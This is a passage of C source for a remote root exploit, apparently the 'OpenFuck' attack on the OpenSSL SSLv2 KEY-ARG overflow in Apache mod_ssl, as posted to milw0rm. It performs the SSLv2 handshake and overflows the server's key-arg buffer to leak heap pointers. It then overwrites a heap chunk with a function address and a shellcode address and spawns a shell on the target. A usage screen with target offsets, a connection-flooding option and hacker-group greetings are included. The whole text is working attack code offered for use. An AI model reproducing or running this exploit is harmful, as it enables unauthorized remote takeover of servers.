| "\x00\x40\x04\x00\x80\x02\x00\x80" | |
| ""; /* session id data */ | |
| /* generate CHALLENGE LENGTH bytes of challenge data */ | |
| for (i = 0; i < CHALLENGE_LENGTH; i++) { | |
| ssl->challenge[i] = (unsigned char) (rand() >> 24); | |
| } | |
| memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH); | |
| send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH); | |
| } | |
| /* Get a SERVER HELLO response from the server */ | |
| void get_server_hello(ssl_conn* ssl) | |
| { | |
| unsigned char buf[BUFSIZE]; | |
| const unsigned char *p, *end; | |
| int len; | |
| int server_version, cert_length, cs_length, conn_id_length; | |
| int found; | |
| if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) { | |
| printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1]))); | |
| exit(1); | |
| } | |
| if (len < 11) { | |
| printf("get_server_hello: Packet too short (len = %d)\n", len); | |
| exit(1); | |
| } | |
| p = buf; | |
| if (*(p++) != SSL2_MT_SERVER_HELLO) { | |
| printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]); | |
| exit(1); | |
| } | |
| if (*(p++) != 0) { | |
| printf("get_server_hello: SESSION-ID-HIT is not 0\n"); | |
| exit(1); | |
| } | |
| if (*(p++) != 1) { | |
| printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n"); | |
| exit(1); | |
| } | |
| n2s(p, server_version); | |
| if (server_version != 2) { | |
| printf("get_server_hello: Unsupported server version %d\n", server_version); | |
| exit(1); | |
| } | |
| n2s(p, cert_length); | |
| n2s(p, cs_length); | |
| n2s(p, conn_id_length); | |
| if (len != 11 + cert_length + cs_length + conn_id_length) { | |
| printf("get_server_hello: Malformed packet size\n"); | |
| exit(1); | |
| } | |
| /* read the server certificate */ | |
| ssl->x509 = NULL; | |
| ssl->x509=d2i_X509(NULL,&p,(long)cert_length); | |
| if (ssl->x509 == NULL) { | |
| printf("get server hello: Cannot parse x509 certificate\n"); | |
| exit(1); | |
| } | |
| if (cs_length % 3 != 0) { | |
| printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n"); | |
| exit(1); | |
| } | |
| found = 0; | |
| for (end=p+cs_length; p < end; p += 3) { | |
| if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) | |
| found = 1; /* SSL CK RC4 128 WITH MD5 */ | |
| } | |
| if (!found) { | |
| printf("get server hello: Remote server does not support 128 bit RC4\n"); | |
| exit(1); | |
| } | |
| if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) { | |
| printf("get server hello: CONNECTION-ID-LENGTH is too long\n"); | |
| exit(1); | |
| } | |
| /* The connection id is sent back to the server in the CLIENT FINISHED packet */ | |
| ssl->conn_id_length = conn_id_length; | |
| memcpy(ssl->conn_id, p, conn_id_length); | |
| } | |
| /* Send a CLIENT MASTER KEY message to the server */ | |
| void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) { | |
| int encrypted_key_length, key_arg_length, record_length; | |
| unsigned char* p; | |
| int i; | |
| EVP_PKEY *pkey=NULL; | |
| unsigned char buf[BUFSIZE] = | |
| "\x02" /* client master key message */ | |
| "\x01\x00\x80" /* cipher kind */ | |
| "\x00\x00" /* clear key length */ | |
| "\x00\x40" /* encrypted key length */ | |
| "\x00\x08"; /* key arg length */ | |
| p = &buf[10]; | |
| /* generate a 128 byte master key */ | |
| for (i = 0; i < RC4_KEY_LENGTH; i++) { | |
| ssl->master_key[i] = (unsigned char) (rand() >> 24); | |
| } | |
| pkey=X509_get_pubkey(ssl->x509); | |
| if (!pkey) { | |
| printf("send client master key: No public key in the server certificate\n"); | |
| exit(1); | |
| } | |
| if (pkey->type != EVP_PKEY_RSA) { | |
| printf("send client master key: The public key in the server certificate is not a RSA key\n"); | |
| exit(1); | |
| } | |
| /* Encrypt the client master key with the server public key and put it in the packet */ | |
| encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING); | |
| if (encrypted_key_length <= 0) { | |
| printf("send client master key: RSA encryption failure\n"); | |
| exit(1); | |
| } | |
| p += encrypted_key_length; | |
| if (key_arg_overwrite) { | |
| /* These 8 bytes fill the key arg array on the server */ | |
| for (i = 0; i < 8; i++) { | |
| *(p++) = (unsigned char) (rand() >> 24); | |
| } | |
| /* This overwrites the data following the key arg array */ | |
| memcpy(p, key_arg_overwrite, key_arg_overwrite_len); | |
| key_arg_length = 8 + key_arg_overwrite_len; | |
| } | |
| else { | |
| key_arg_length = 0; /* RC4 doesn't use KEY-ARG */ | |
| } | |
| p = &buf[6]; | |
| s2n(encrypted_key_length, p); | |
| s2n(key_arg_length, p); | |
| record_length = 10 + encrypted_key_length + key_arg_length; | |
| send_ssl_packet(ssl, buf, record_length); | |
| ssl->encrypted = 1; | |
| } | |
| void generate_key_material(ssl_conn* ssl) | |
| { | |
| unsigned int i; | |
| MD5_CTX ctx; | |
| unsigned char *km; | |
| unsigned char c='0'; | |
| km=ssl->key_material; | |
| for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) { | |
| MD5_Init(&ctx); | |
| MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH); | |
| MD5_Update(&ctx,&c,1); | |
| c++; | |
| MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH); | |
| MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length); | |
| MD5_Final(km,&ctx); | |
| km+=MD5_DIGEST_LENGTH; | |
| } | |
| } | |
| void generate_session_keys(ssl_conn* ssl) | |
| { | |
| generate_key_material(ssl); | |
| ssl->read_key = &(ssl->key_material[0]); | |
| ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY)); | |
| RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key); | |
| ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]); | |
| ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY)); | |
| RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key); | |
| } | |
| void get_server_verify(ssl_conn* ssl) | |
| { | |
| unsigned char buf[BUFSIZE]; | |
| int len; | |
| if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) { | |
| printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1]))); | |
| exit(1); | |
| } | |
| if (len != 1 + CHALLENGE_LENGTH) { | |
| printf("get server verify: Malformed packet size\n"); | |
| exit(1); | |
| } | |
| if (buf[0] != SSL2_MT_SERVER_VERIFY) { | |
| printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n", (int)buf[0]); | |
| exit(1); | |
| } | |
| if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) { | |
| printf("get server verify: Challenge strings don't match\n"); | |
| exit(1); | |
| } | |
| } | |
| void send_client_finished(ssl_conn* ssl) | |
| { | |
| unsigned char buf[BUFSIZE]; | |
| buf[0] = SSL2_MT_CLIENT_FINISHED; | |
| memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length); | |
| send_ssl_packet(ssl, buf, 1+ssl->conn_id_length); | |
| } | |
| void get_server_finished(ssl_conn* ssl) | |
| { | |
| unsigned char buf[BUFSIZE]; | |
| int len; | |
| int i; | |
| if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) { | |
| printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1]))); | |
| exit(1); | |
| } | |
| if (buf[0] != SSL2_MT_SERVER_FINISHED) { | |
| printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n", (int)buf[0]); | |
| exit(1); | |
| } | |
| if (len <= 112 /*17*/) { | |
| printf("This server is not vulnerable to this attack.\n"); | |
| exit(1); | |
| } | |
| cipher = *(int*)&buf[101]; | |
| ciphers = *(int*)&buf[109]; | |
| printf("cipher: 0x%x ciphers: 0x%x\n", cipher, ciphers); | |
| } | |
| void get_server_error(ssl_conn* ssl) | |
| { | |
| unsigned char buf[BUFSIZE]; | |
| int len; | |
| if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) { | |
| printf("get server finished: Expected SSL2 MT ERROR, got %x\n", (int)buf[0]); | |
| exit(1); | |
| } | |
| } | |
| void usage(char* argv0) | |
| { | |
| int i; | |
| printf(": Usage: %s target box [port] [-c N]\n\n", argv0); | |
| printf(" target - supported box eg: 0x00\n"); | |
| printf(" box - hostname or IP address\n"); | |
| printf(" port - port for ssl connection\n"); | |
| printf(" -c open N connections. (use range 40-50 if u dont know)\n"); | |
| printf(" \n\n"); | |
| printf(" Supported OffSet:\n"); | |
| for (i=0; i<=MAX_ARCH; i++) { | |
| printf("\t0x%02x - %s\n", i, architectures[i].desc); | |
| } | |
| printf("\nFuck to all guys who like use lamah ddos. Read SRC to have no surprise\n"); | |
| exit(1); | |
| } | |
| int main(int argc, char* argv[]) | |
| { | |
| char* host; | |
| int port = 443; | |
| int i; | |
| int arch; | |
| int N = 0; | |
| ssl_conn* ssl1; | |
| ssl_conn* ssl2; | |
| printf("\n"); | |
| printf("*******************************************************************\n"); | |
| printf("* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *\n"); | |
| printf("*******************************************************************\n"); | |
| printf("* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *\n"); | |
| printf("* #hackarena irc.brasnet.org *\n"); | |
| printf("* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\n"); | |
| printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\n"); | |
| printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\n"); | |
| printf("*******************************************************************\n"); | |
| printf("\n"); | |
| if ((argc < 3) || (argc > 6)) | |
| usage(argv[0]); | |
| sscanf(argv[1], "0x%x", &arch); | |
| if ((arch < 0) || (arch > MAX_ARCH)) | |
| usage(argv[0]); | |
| host = argv[2]; | |
| if (argc == 4) | |
| port = atoi(argv[3]); | |
| else if (argc == 5) { | |
| if (strcmp(argv[3], "-c")) | |
| usage(argv[0]); | |
| N = atoi(argv[4]); | |
| } | |
| else if (argc == 6) { | |
| port = atoi(argv[3]); | |
| if (strcmp(argv[4], "-c")) | |
| usage(argv[0]); | |
| N = atoi(argv[5]); | |
| } | |
| srand(0x31337); | |
| for (i=0; i<N; i++) { | |
| printf("\rConnection... %d of %d", i+1, N); | |
| fflush(stdout); | |
| connect_host(host, port); | |
| usleep(100000); | |
| } | |
| if (N) printf("\n"); | |
| printf("Establishing SSL connection\n"); | |
| ssl1 = ssl_connect_host(host, port); | |
| ssl2 = ssl_connect_host(host, port); | |
| send_client_hello(ssl1); | |
| get_server_hello(ssl1); | |
| send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1); | |
| generate_session_keys(ssl1); | |
| get_server_verify(ssl1); | |
| send_client_finished(ssl1); | |
| get_server_finished(ssl1); | |
| printf("Ready to send shellcode\n"); | |
| port = get_local_port(ssl2->sock); | |
| overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff); | |
| overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff); | |
| *(int*)&overwrite_next_chunk[156] = cipher; | |
| *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12; | |
| *(int*)&overwrite_next_chunk[196] = ciphers + 16; /* shellcode address */ | |
| send_client_hello(ssl2); | |
| get_server_hello(ssl2); | |
| send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1); | |
| generate_session_keys(ssl2); | |
| get_server_verify(ssl2); | |
| for (i = 0; i < ssl2->conn_id_length; i++) { | |
| ssl2->conn_id[i] = (unsigned char) (rand() >> 24); | |
| } | |
| send_client_finished(ssl2); | |
| get_server_error(ssl2); | |
| printf("Spawning shell...\n"); | |
| sleep(1); | |
| sh(ssl2->sock); | |
| close(ssl2->sock); | |
| close(ssl1->sock); | |
| return 0; | |
| } | |
| /* spabam: It isn't 0day */ | |
| // milw0rm.com [2003-04-04] |
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